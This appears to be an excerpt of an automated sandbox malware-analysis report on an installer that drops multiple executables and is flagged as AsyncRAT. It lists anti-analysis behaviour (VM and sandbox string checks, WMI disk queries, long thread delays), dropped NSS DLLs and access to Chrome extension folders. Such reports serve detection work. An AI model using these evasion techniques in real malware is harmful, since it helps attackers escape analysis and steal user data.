Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: SETUP_~1.EXE PID: 2708, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SETUP_~1.EXE, 00000026.00000002.936440874.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Program Files (x86)\Company\NewProduct\real.exe TID: 6532	Thread sleep count: 171 > 30
Source: C:\Program Files (x86)\Company\NewProduct\real.exe TID: 6532	Thread sleep time: -171000s >= -30000s
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe TID: 5412	Thread sleep count: 39 > 30
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe TID: 5412	Thread sleep time: -195000s >= -30000s
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe TID: 3260	Thread sleep count: 38 > 30
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe TID: 3260	Thread sleep time: -190000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -8301034833169293s >= -30000s

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Window / User API: threadDelayed 487
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8834

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_16-27672

Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe

API coverage: 3.9 %

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll			Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll			Jump to dropped file

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Registry key enumerated: More than 152 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Registry key enumerated: More than 175 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

16_2_0040ABD8

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	API call chain: ExitProcess graph end node	graph_16-27174
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	API call chain: ExitProcess graph end node	graph_18-8790
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	API call chain: ExitProcess graph end node	graph_18-8745
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	API call chain: ExitProcess graph end node	graph_18-8742
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	API call chain: ExitProcess graph end node	graph_18-8715

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\

Source: ffnameedit.exe, 0000001F.00000002.893977113.0000000001161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: ffnameedit.exe, 0000001F.00000002.893977113.0000000001161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareT1TYWD2LWin32_VideoControllerP12XH4NLVideoController120060621000000.000000-00033583194display.infMSBDASX7LB66BPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors434R1P3O
Source: SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515510324.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ffnameedit.exe, 0000001F.00000002.927068662.0000000002F04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: zY617Pdb99+1WvhcD7lo3FrSKwd1Cywd9LMVGmivfhxbGU1DY8x/52zJ+c5pbJNXY0S4sBVdcTu5rKMgFogiqY6ISARX9l0yYlvGnbncaCtzr/0KVM7X9EJNQLEjjeZR2Vb0ytK0gg2tqs+dmyVc5c0X1qCQmPhKEyLEKk0YBV9pIjjEUA53pQGfnnX09MwvgJ4e6CWbxptV1ZgyjYpiWdgKTkH2TdVeQqM4L8IoRtIjkUbhfOeUN+xV3hYhKvrikbZ3Bf2FyyFRKpLoBrLTpcVoJjGKabpfOB86RFe6KtLroDs03pzDlurQGdVCjU/W5TnlqFxWtHNsd4I6NeFxcZ2acDGnUxNBw3VqonnECB6qq0xLVx96B+jq3b1k23jTNg6qFqphvIIqVsuqBtqdNjQNer2RDdGINBptc/R79wobkgS+woYIsQobRsFX2AgOMZSDdr7HsPM9KuVa7dr9n4T6+kgvuRxRs6qmjZc1mqUZu1ldAq29oIdczJR1VG6CA+2vStvIRpmJlRYVMGW7BGor1QGuCL3ZtLSVXK4wBUPPtCRXqyakQ7GEVbOyZinSZrLO/b0hL2FhW6yHsgVbDyc1TsxcmjzVN1SuVX3DiTzVN5JJjGKimpVQs/l0gWn2jk+//+7Vpz/9vu81hXe61VsxDcuanDXluoK1eIj0M6PqNG/l8oYQAIr7W8tw8WFy2Q2s98fJCyHy15CtPtVyEqCKDakQ8LVkm1+dPrQYjKYqLNCRYW6kZZwf/hFU7mf0kcE2xDEkaEThL2VGXlDg13oDa3eaXOjYJ7SC5bLYHVMcIZe2lNNuPmMBIaoWEBFCd8Rvkb1+vYYIg5LEVHfKaXJlgLYjOMWunOjRO6PzkXTHo0M3+H29ZGeLYAKknU40HYOYSxMw6DyhT9bZSP1qX5NR3h0TXfwdMuxTVSQC8rY7FZP8FrLfr7Su7GI89ulB7BClaQM7Bg1sqt2NHGHdSOFrfSTb4dItFQZzN8qmSpsSFyUkcqpm6MrxZr2s0LmZ
Source: safert44.exe, 00000017.00000002.895603577.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372763461.0000000000773000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.377456168.0000000000773000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372661446.0000000000773000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Yz%SystemRoot%\system32\mswsock.dll
Source: ffnameedit.exe, 0000001F.00000002.893977113.0000000001161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA

Source: C:\Program Files (x86)\Company\NewProduct\real.exe

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_004092CF LocalAlloc,LocalAlloc,LocalAlloc,lstrlen,lstrcpyn,lstrcpyn,lstrlen,lstrcpyn,lstrcpyn,lstrlen,lstrcpyn,lstrcpyn,GetSystemInfo,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,

16_2_004092CF

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004052DA LocalAlloc,StrCpyW,FindFirstFileW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	16_2_004052DA
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00405B5B LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindNextFileW,LocalFree,FindClose,	16_2_00405B5B
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040196E FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	16_2_0040196E
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040B177 LocalAlloc,StrCpyW,FindFirstFileW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	16_2_0040B177
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00401B05 FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindNextFileW,FindClose,	16_2_00401B05
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040AE06 LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindNextFileW,LocalFree,LocalFree,FindClose,	16_2_0040AE06
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00403C8F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	16_2_00403C8F
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00401E18 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	16_2_00401E18
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040633E FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindNextFileW,FindClose,lstrlenW,	16_2_0040633E
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004039D7 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	16_2_004039D7
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00406725 LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	16_2_00406725
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004039D7 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	18_2_004039D7
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004052DA LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	18_2_004052DA
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00405B5B LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	18_2_00405B5B
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040196E FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	18_2_0040196E
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040B177 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	18_2_0040B177
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00401B05 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose,	18_2_00401B05
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040AE06 LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	18_2_0040AE06
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00403C8F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	18_2_00403C8F
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00401E18 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	18_2_00401E18
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00406725 LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	18_2_00406725
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040633E FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	18_2_0040633E

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

16_2_00408ADD

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0059092B mov eax, dword ptr fs:[00000030h]		16_2_0059092B
